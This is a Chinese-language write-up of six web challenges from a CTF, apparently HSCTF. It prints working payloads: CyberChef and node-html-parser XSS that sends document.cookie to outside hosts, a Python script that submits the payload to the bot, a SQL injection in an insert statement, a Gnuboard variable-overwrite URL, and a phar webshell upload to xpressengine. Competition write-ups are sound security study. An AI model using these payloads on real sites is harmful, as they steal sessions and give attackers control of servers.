0x00 Background

上周六打了POSIX make的6个Web CTF challenge(含一个 revenge)

(有一个只是披着web壳子的pwn,所以就不提了),觉得这些题目有复盘的必要 难度中等 思路有趣,故写此文

0x01 Cyberchef

开局一个cyberchef


版本比较新 但是因为他给了一个bot 所以不难猜测应该是个xss,于是 直接github搜issue

https://github.com/gchq/CyberChef/issues/1265

这有一个在scatter chart里面的

因为在<svg>里面对color这没什么转义 导致可以直接xss

Scatter chart 和Series chart里面都存在

于是直接构造payload 直接打bot就行

#recipe=Scatter_chart('Line%20feed','Space',false,'','','red%22%3E%3Cscript%3Edocument.location='webhook.xxx?cookie='%20+%20document.cookie;%3C/script%3E',100,false)&input=MTAwLCAxMDA

然后直接在webhook收米即可


觉得这题很简单 不过是个search题 但是赛后听POSIX说他不知道有未修复的xss 他其实是想让大家挖他发现的0day的(

import requests

payload = "http://cyberchef:8000/#recipe=JPath_expression('$..%5B?((%7B__proto__:%5B%5D.constructor%7D).constructor(%22self.postMessage(%7Baction:%5C'bakeComplete%5C',data:%7BbakeId:1,dish:%7Btype:1,value:%5C'%5C'%7D,duration:1,error:false,id:undefined,inputNum:2,progress:1,result:%5C'%3Ciframe/onload%3Dfetch(`http://p6.is/flag?${document.cookie}`)%3E%5C',type:%20%5C'html%5C'%7D%7D);%22)();)%5D','%5C%5Cn')&input=W3t9XQ"

print(payload)

res = requests.post('http://1.230.253.91:8001/report', data = {
    'url': payload
}, allow_redirects = False)

print(res.text);
print(res.headers);

这里贴出他的预期payload 污染了构造器然后fetch一个xss

0x02 CyberHeadChef

在比赛中 POSIX就发现了他的题目被非预期了 于是他在bot那里直接ban掉了chart字样


意图让我们不使用 Scatter chart 和Series chart 用他的预期0day

但是他的bot用的是chrome


而chrome浏览器会忽略一些不可见字符 比如%00

所以很轻松就bypass掉了

#recipe=Scatter_cha%00rt

再发送链接给boot



Get flag

0x03 not_e

一道有意思的题目 首先登录 然后有个发表note的功能

可以看到在这里会插入 title content 最后的req.session.login也就是用户名

产生漏洞的地方主要是这里的处理 如果在标题上使用?被替换为空之后 我们就可以注入自己想注入的东西 再将无用的东西注释掉

比如 我们插入

insert into posts values (?, ?, ?, ?)", ["noteid", "?", ",test", "userid"]);

会变成

insert into posts values ("noteid", "",test"", ?, ?)

在能插入的,test这里替换查flag的sql语句即可 然后注意要满足insert的列数

最后payload

title=?&content=,(select flag from flag),'test[]') -- - //注意这里面的test[]是你自己用户名

成功获得flag

0x04 Gnuboard

我最喜欢的一道题 是一个韩国的系统 并且放出hint是个0day 但并不是个非常hardcore的0day,很高兴自己独立审了出来

首先关注这里 把flag写在common.php里 这并不常见,看到这里我几乎可以肯定他并不是让我们rce 可能是文件读取之类的

所以我的策略是关注common.php文件本身和调用common.php的文件

简单看了common.php并没有发现什么很关键的东西

我进行了正则匹配 匹配包含进common.php的文件

最后定位了一个文件 /shop/inicis/instdpay_result.php

我注意到这里有可变变量 那就是可能存在变量覆盖 因为他包含进了common.php 所以我们把$netcanceResultString赋值为flag即可

然后要做的就是观察我们可控点

在这里可以看见 我们要走进代码体首先需要把resultCode设置为0000

并且authtoken authurl netcanceurl 我们都是可控的 着重关注下这些点

观察我们想要走进catch 得到这个可变变量 而且使用的new Httpclient 来请求网站获取body

所以把authurl设置成一个不可访问的网站 把netCancelUrl设置成我们服务器的一个页面随便打印出来一个值即可

最终构造payload:

http://1.230.253.91:5000/shop/inicis/inistdpay_result.php?authUrl=https://test.com&resultCode=0000&netCancelUrl=https://服务器/1.php&a=flag

1.php的内容很容易

<?php
echo "a"
?>

成功获取到flag

0x05 Marked

一个0解题

/new路由跟not_e一样能发一个note

并且这里面会把markdown to html 但是他用了sanitize过滤

所以我们要注意html的解析器 可以在这里看到他使用了node-html-parser

在比赛中我也没了思路 不知道怎么解决

等到后来posix发了一个脚本

https://github.com/posix-lee/jsfuxx

专门用来fuzz一下可以使用的字符来摧毁node-html-parser来bypass html sanitize

最后放上posix的利用脚本

import requests, random

HOST = 'http://1.230.253.91:3000'

s = requests.Session()

res = s.post(HOST + '/login', {
    'username': 'posix',
    'password': '1337'
})

res = s.post(HOST + '/new', {
    'title': 'abcd',
    'content': "</header <a><a\t><h<a\x0Bstyle='animation-name:spinner-donut-anim'onanimationend='fetch(`http:\\x2f\\x2fp6.is\\x2fflag\\x2f${document.cookie}`)' "
})

print(res.text)

0x06 xpressengine

xpressengine是棒子的一个phpcms

看赛后wp posix说在媒体处上传phar来getshell 我们简单跟一下代码

/core/src/Xpressengine/MediaLibrary/MediaLibraryHandler.php

直接定位file后缀检查

这里看不到黑白名单 可以直接跟进Xestorage::upload

继续跟进validate

在这里我们可以直接看见mimeFilter

在构造方法里面直接加一条打印的查看结果

array (
      'black' => 
      array (
        'pdf' => 'application/pdf',
        'mid' => 'audio/midi',
        'midi' => 'audio/midi',
        'mpga' => 'audio/mpeg',
        'mp2' => 'audio/mpeg',
        'mp3' => 'audio/mpeg',
        'aif' => 'audio/x-aiff',
        'aiff' => 'audio/x-aiff',
        'aifc' => 'audio/x-aiff',
        'ram' => 'audio/x-pn-realaudio',
        'rm' => 'audio/x-pn-realaudio',
        'rpm' => 'audio/x-pn-realaudio-plugin',
        'ra' => 'audio/x-realaudio',
        'rv' => 'video/vnd.rn-realvideo',
        'wav' => 'audio/x-wav',
        'jpg' => 'image/jpeg',
        'jpeg' => 'image/jpeg',
        'jpe' => 'image/jpeg',
        'png' => 'image/png',
        'gif' => 'image/gif',
        'bmp' => 'image/bmp',
        'tiff' => 'image/tiff',
        'tif' => 'image/tiff',
        'mpeg' => 'video/mpeg',
        'mpg' => 'video/mpeg',
        'mpe' => 'video/mpeg',
        'qt' => 'video/quicktime',
        'mov' => 'video/quicktime',
        'avi' => 'video/x-msvideo',
        'movie' => 'video/x-sgi-movie',
        '3g2' => 'video/3gpp2',
        '3gp' => 'video/3gp',
        'mp4' => 'video/mp4',
        'm4a' => 'audio/x-m4a',
        'f4v' => 'video/mp4',
        'webm' => 'video/webm',
        'aac' => 'audio/x-acc',
        'm4u' => 'application/vnd.mpegurl',
        'wmv' => 'video/x-ms-wmv',
        'au' => 'audio/x-au',
        'ac3' => 'audio/ac3',
        'flac' => 'audio/x-flac',
        'ogg' => 'audio/ogg',
        'wma' => 'audio/x-ms-wma',
        'ico' => 
        array (
          0 => 'image/x-icon',
          1 => 'image/vnd.microsoft.icon',
        ),
        'php' => 'application/x-httpd-php',
        'php4' => 'application/x-httpd-php',
        'php3' => 'application/x-httpd-php',
        'phtml' => 'application/x-httpd-php',
        'phps' => 'application/x-httpd-php-source',
        'js' => 'application/javascript',
      ),

黑名单里面发现没过滤phar

上传一个phar 的木马

Get flag

hsctf{860e27b9898e2510c14fa0f5efcd44f53437827aac9e26b8b8e792ce95b04ae2}

0x07 参考文章

posix的官方解析:https://gist.github.com/posix-lee/cf5953b2d1157695fc2e61951182c020

题目平台:https://ctf.hayyimsecurity.com/challenges

点击收藏 | 1 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖